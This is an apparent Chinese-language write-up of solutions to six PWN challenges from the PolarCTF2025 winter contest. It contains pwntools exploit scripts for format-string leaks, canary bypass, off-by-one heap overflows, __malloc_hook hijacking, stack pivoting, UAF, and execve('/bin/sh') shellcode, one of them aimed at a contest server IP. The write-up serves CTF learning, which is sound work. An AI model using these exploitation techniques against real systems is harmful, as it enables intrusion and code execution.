PolarCTF2025 冬季个人赛 PWN 方向全解
字数 1258 2025-12-08 12:09:19
PolarCTF2025 冬季个人赛 PWN 方向全解技术文档
概述
本文档详细分析PolarCTF2025冬季个人赛PWN方向的解题思路和技术要点,涵盖格式化字符串漏洞、堆溢出、栈溢出、UAF(Use After Free)等多种漏洞利用技术。
题目一:基础栈溢出与格式化字符串泄露
漏洞分析
- 格式化字符串漏洞:通过
printf(buf)实现地址泄露 - 栈溢出漏洞:输入函数存在缓冲区溢出
利用步骤
- 使用
%25$p泄露canary值 - 通过栈溢出覆盖返回地址
- 跳转到后门函数
0x40095B
EXP代码
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
io = remote('1.95.7.68', 2108)
backdoor = 0x40095B
def cmd(choice):
io.recvuntil(b"enter your choice:")
io.sendline(str(choice).encode())
cmd(2)
io.recvuntil(b"think again")
# 泄露canary
pd = b'%25$p'
io.send(pd)
io.recvuntil(b"0x")
canary = int(io.recv(16), 16)
cmd(1)
# 构造ROP链
pd = b'a' * (0xa0 - 0x8)
pd += p64(canary)
pd += p64(0xdeadbeef) # 填充
pd += p64(0x4008ED) # 返回地址
pd += p64(backdoor) # 后门函数
io.send(pd)
io.interactive()
题目二:堆溢出与单字节溢出
漏洞分析
- 回车符溢出:
input函数读取时存在回车符处理问题 - 单字节溢出:
compare函数中size2 - size_store == 0xA条件存在单字节溢出
关键函数
__int64 edit() {
// 存在回车符溢出漏洞
index = input(1u); // 关键溢出点
}
__int64 compare(int size_store, __int64 size2) {
if ((_DWORD)size2 - size_store == 0xA) // 单字节溢出
return (unsigned int)(size_store + 1);
}
利用技术:堆布局与House of Force
- 通过单字节溢出修改chunk size
- 利用堆重叠实现任意地址写
- 劫持
__malloc_hook执行shellcode
EXP代码
from pwn import *
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def add(size):
cmd(1)
rt("size: ")
sl(str(size))
def edit(index, size, content):
cmd(2)
rt("index: ")
sl(str(index))
rt("size: ")
sl(str(size))
rt("content: ")
s(content)
# 堆布局
add(0x98) # chunk 0
add(0x68) # chunk 1
add(0xf0) # chunk 2
add(0x20) # chunk 3
# 触发溢出
delete(0)
pd = b'a' * 0x60 + p64(0x70 + 0xa0) + b'\x00'
edit(1, 0x68 + 0xa, pd)
delete(2)
# 泄露libc地址
add(0x98)
show(1)
rt("content: ")
lib = ru(6) - 0x3c4b78
# 劫持malloc_hook
add(0x68)
add(0xf0)
delete(1)
pd = lib + libc.sym['__malloc_hook'] - 0x23
edit(2, 0x10, p64(pd) + b'a' * 8)
# 获取shell
add(0x60)
add(0x60)
pd = b'a' * 0x13
pd += p64(lib + 0xf03a4) # one_gadget
edit(5, 8 + 0x13, pd)
题目三:栈迁移与格式化字符串
漏洞特点
- 输入限制:
read(0, buf, 0xCu)仅允许12字节输入 - 需要结合栈迁移技术绕过限制
利用技巧
- 使用格式化字符串泄露canary和PIE地址
- 通过栈迁移扩展ROP链空间
- 32位系统下的参数传递
EXP关键部分
# 泄露关键地址
pd = b'%15$p%3$p'
s(pd)
rt(b'0x')
canary = int(io.recv(8), 16)
pie = ri(8) - 0x84f
# 栈迁移构造
pd = b'a' * (0x2c - 0xc)
pd += p32(canary)
pd += p32(pie + 0x200C) # 目标地址
pd += p32(pie + 0x200C)
pd = pd.ljust(0x2c, b'b')
pd += p32(pie + 0x2a00) # 新栈地址
pd += p32(pie + 0x843) # 迁移地址
题目四:32位栈溢出与ROP
技术要点
- 32位系统调用约定
- 栈迁移技术应用
- 多种利用方式:
- 文件操作:open/read/write
- 直接系统调用:execve
ROP链构造
# 方式一:文件操作
pd = b'flag'
pd += p32(lib + libc.sym['open'])
pd += p32(stack)
pd += p32(0) # O_RDONLY
# ... 继续构造read/write链
# 方式二:系统调用
sd = asm('''
xor ecx,ecx
xor edx,edx
xor ebx,ebx
push ebx
push 0x68732f2f # //sh
push 0x6e69622f # /bin
mov ebx,esp
xor eax,eax
push 11
pop eax
int 0x80
''')
题目五:UAF漏洞利用
漏洞模型
- 控制块+数据块的双重堆结构
- 释放后未正确清空指针
- 通过堆块复用控制程序流
利用方法
def ak1():
# 申请控制块和数据块
add(0x18, p32(0x0804875C) + p32(0x0804875C)) # 0
add(0x18, p32(0x0804875C) + p32(0x0804875C)) # 1
# 触发UAF
delete(0)
delete(1)
# 重新分配控制流
add(0x8, p32(0x0804875C) + p32(0x0804875C)) # 2
show(0) # 触发后门
题目六:堆漏洞综合利用
漏洞类型
- Off-by-one溢出
- 堆块合并操作
- 控制块与数据块分离
关键技术
- 通过溢出修改chunk的size字段
- 触发unsorted bin合并
- 利用堆块重叠实现信息泄露和任意写
堆布局策略
add(0x80, b'a') # 0
add(0x18, b'a') # 1
add(0x50, b'a') # 2
# 构造溢出修改size
pd = b'a' * 0x10
pd += p64(0x20 + 0x20 + 0xa0) # 修改size
pd += p8(0x80)
edit(1, pd)
高级利用技巧总结
1. 地址泄露技术
- 格式化字符串泄露栈、libc、heap地址
- 堆风水泄露libc基地址
- 利用残留指针泄露关键信息
2. 溢出利用技术
- 栈溢出:覆盖返回地址、canary绕过
- 堆溢出:修改chunk元数据、构造fake chunk
- 单字节溢出:size字段修改、边界绕过
3. 代码执行技术
- ROP链构造:系统调用、函数调用
- one-gadget利用:寻找合适的gadget
- shellcode注入:内存权限修改后注入
4. 防护绕过技术
- Canary绕过:泄露后精确覆盖
- PIE绕过:信息泄露计算基地址
- ASLR绕过:libc地址泄露
防御建议
- 输入验证:严格校验所有用户输入
- 内存管理:正确实现堆块分配和释放
- 安全编译:启用所有安全编译选项
- 代码审计:定期进行安全代码审计
本文档详细分析了PolarCTF2025冬季赛PWN题目的技术要点,为CTF选手和安全研究人员提供完整的学习参考。